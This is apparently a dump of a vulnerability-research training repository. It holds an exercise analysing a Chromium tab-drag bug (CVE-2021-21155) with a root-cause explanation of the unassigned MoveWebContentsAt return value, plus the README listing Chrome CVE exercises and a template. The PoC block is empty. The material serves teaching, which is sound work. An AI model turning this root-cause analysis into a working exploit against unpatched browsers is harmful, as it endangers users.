you don't search any report about it to prevents get too much info like patch. ### Details In level 3, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1175500
-------- ### Set environment after fetch chromium ```sh git reset --hard c57ba0a5dacc78c7a1954c99d381b77ec771fba6 ``` ### Related code chrome/browser/ui/views/tabs/tab_drag_controller.cc About TabDragController: ```c++ // TabDragController is responsible for managing the tab dragging session. When // the user presses the mouse on a tab a new TabDragController is created and // Drag() is invoked as the mouse is dragged. If the mouse is dragged far enough // TabDragController starts a drag session. The drag session is completed when // EndDrag() is invoked (or the TabDragController is destroyed). // // While dragging within a tab strip TabDragController sets the bounds of the // tabs (this is referred to as attached). When the user drags far enough such // that the tabs should be moved out of the tab strip a new Browser is created // and RunMoveLoop() is invoked on the Widget to drag the browser around. This // is the default on aura. ``` ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer ```c++ void TabDragController::RevertDragAt(size_t drag_index) { DCHECK_NE(current_state_, DragState::kNotStarted); DCHECK(source_context_); base::AutoReset setter(&is_mutating_, true); TabDragData* data = &(drag_data_[drag_index]); int target_index = data->source_model_index; if (attached_context_) { int index = attached_context_->GetTabStripModel()->GetIndexOfWebContents( data->contents); if (attached_context_ != source_context_) { // The Tab was inserted into another TabDragContext. We need to // put it back into the original one. std::unique_ptr detached_web_contents = attached_context_->GetTabStripModel()->DetachWebContentsAt(index); // TODO(beng): (Cleanup) seems like we should use Attach() for this // somehow. source_context_->GetTabStripModel()->InsertWebContentsAt( target_index, std::move(detached_web_contents), (data->pinned ? TabStripModel::ADD_PINNED : 0)); } else { // The Tab was moved within the TabDragContext where the drag // was initiated. Move it back to the starting location. // If the target index is to the right, then other unreverted tabs are // occupying indices between this tab and the target index. Those // unreverted tabs will later be reverted to the right of the target // index, so we skip those indices. if (target_index > index) { for (size_t i = drag_index + 1; i < drag_data_.size(); ++i) { if (drag_data_[i].contents) ++target_index; } } source_context_->GetTabStripModel()->MoveWebContentsAt( [1] index, target_index, false); } } else { // The Tab was detached from the TabDragContext where the drag // began, and has not been attached to any other TabDragContext. // We need to put it back into the source TabDragContext. source_context_->GetTabStripModel()->InsertWebContentsAt( target_index, std::move(data->owned_contents), (data->pinned ? TabStripModel::ADD_PINNED : 0)); } source_context_->GetTabStripModel()->UpdateGroupForDragRevert( target_index, data->tab_group_data.has_value() ? base::Optional{data->tab_group_data.value() .group_id} : base::nullopt, data->tab_group_data.has_value() ? base::Optional< tab_groups::TabGroupVisualData>{data->tab_group_data.value() .group_visual_data} : base::nullopt); } ``` [1] We can get info about these conditions judged by `if` from comment, `MoveWebContentsAt` do just like its name. ```c++ int TabStripModel::MoveWebContentsAt(int index, int to_position, bool select_after_move) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); CHECK(ContainsIndex(index)); to_position = ConstrainMoveIndex(to_position, IsTabPinned(index)); [2] if (index == to_position) return to_position; [3] MoveWebContentsAtImpl(index, to_position, select_after_move); EnsureGroupContiguity(to_position); return to_position; } ``` [2] `to_position` is `target_index`, and it has been chenged, [3] return the `to_position` which has been chenged, we should assign it back to `target_index`. But in truth, we don't. ```c++ if (target_index > index) { for (size_t i = drag_index + 1; i < drag_data_.size(); ++i) { if (drag_data_[i].contents) ++target_index; } } source_context_->GetTabStripModel()->MoveWebContentsAt( // The return value should assign to target_index index, target_index, false); ``` **Poc** ```html ```
-------- ================================================ FILE: README.md ================================================ # bug-hunting-101 ## What is this? This repository is to help new-comers (like ourselves) of binary bug hunting area to improve their skills. Currently, the gap between CTF and real world bug hunting can be quite huge. And this repository is our attempt to solve that problem by porting the real world bug hunting to small exercises. CVEs are selected out and setup in a certain scene, your goal is to repeat the process of finding such vulnerabilities out. ## Intro We have prepared 3 levels. Each level provides excersises with different difficulties: - Level 1: Details of the CVEs are provided to help you from "re-discovering" the original vulnerability. Reports like [this](https://talosintelligence.com/vulnerability_reports/TALOS-2020-1127) are provided. So this should be the easiest level. - Level 2: the details will be emitted. But to narrow down, information about which part of the project contains such vulnerability will be provided. For example, if the bug is about ANGEL (module of the Chromium project), the information about the file will be provided. Most of the time, the path to the patch file should help that. - Level 3: quite like level 2, but need PoC and exploit (optional) ## LEVEL 1 | Exercise No. | CVEs | Target | | :----------------------------------------: | :----------------: | :----------: | | [LEVEl_1/exercise_1](./LEVEL_1/exercise_1) | **CVE-2020-6542** | Chrome WebGL | | [LEVEl_1/exercise_2](./LEVEL_1/exercise_2) | **CVE-2020-6463** | Chrome ANGLE | | [LEVEl_1/exercise_3](./LEVEL_1/exercise_3) | **CVE-2020-16005** | ANGLE | | [LEVEl_1/exercise_4](./LEVEL_1/exercise_4) | **CVE-2021-21204** | Chrome Blink | | [LEVEl_1/exercise_5](./LEVEL_1/exercise_5) | **CVE-2021-21203** | Blink | | [LEVEl_1/exercise_6](./LEVEL_1/exercise_6) | **CVE-2021-21188** | Blink | | [LEVEl_1/exercise_7](./LEVEL_1/exercise_7) | **CVE-2021-30565** | V8 GC | ## LEVEL 2 | Exercise No. | CVEs | Target | | :--------------------------------------: | :----------------: | :-----------: | | [LEVEL_2/exercise_1](LEVEL_2/exercise_1) | **CVE-2021-21128** | Blink | | [LEVEL_2/exercise_2](LEVEL_2/exercise_2) | **CVE-2021-21122** | Blink | | [LEVEL_2/exercise_3](LEVEL_2/exercise_3) | **CVE-2021-21112** | Blink | | [LEVEL_2/exercise_4](LEVEL_2/exercise_4) | **CVE-2021-30565** | Chrome Tab | | [LEVEL_2/exercise_5](LEVEL_2/exercise_5) | **CVE-2021-21159** | Tab | | [LEVEL_2/exercise_6](LEVEL_2/exercise_6) | **CVE-2021-21190** | Chrome pdfium | | [LEVEL_2/exercise_7](LEVEL_2/exercise_7) | **CVE-2020-6422** | Blink | ## LEVEL 3 | Exercise No. | CVEs | Target | | :----------------------------------------: | :----------------: | :------------------: | | [LEVEl_3/exercise_1](./LEVEL_3/exercise_1) | **CVE-2021-21226** | navigation_predictor | | [LEVEl_3/exercise_2](./LEVEL_3/exercise_2) | **CVE-2021-21224** | V8 | | [LEVEl_3/exercise_3](./LEVEL_3/exercise_3) | **CVE-2021-21223** | mojo | | [LEVEl_3/exercise_4](./LEVEL_3/exercise_4) | **CVE-2021-21207** | IndexDB | | [LEVEl_3/exercise_5](./LEVEL_3/exercise_5) | **CVE-2021-21202** | extensions | | [LEVEl_3/exercise_6](./LEVEL_3/exercise_6) | **CVE-2021-21198** | IPC | | [LEVEl_3/exercise_7](./LEVEL_3/exercise_7) | **CVE-2021-21155** | Tab | ## Original Author - [ddme](https://github.com/ret2ddme) - [lime](https://github.com/Limesss) ## How to contribute Writing your exercise follow [this](./Template.md) format. ================================================ FILE: Template.md ================================================ # Exercise x ## CVE-xxxx-xxxx I sugget you don't search any report about it to prevents get too much info like patch. ### Details #### In level 1 In level 1, you can write some describ of how the bug form. In short just ctrl+c/ctrl+v from patch, but must some useful words. **Good example**: > Prior to the patch, the validity of the execution context was only > checked on entry to the method; however, the execution context can > be invalidated during the course of parsing keyframes or options. > The parsing of options is upstream of Animatable::animate and caught by > the existing check, but invalidation during keyframe parsing could fall > through triggering a crash. **Bad example** > Use after free in Blink in Google Chrome prior to 89.0.4389.72 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. #### In level 2 In level 2, this part should be banned ### Set environment the way to get/download the source code, or how to compile it and others. ### Related code some related source code or file path ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer [ write your answer here ]
--------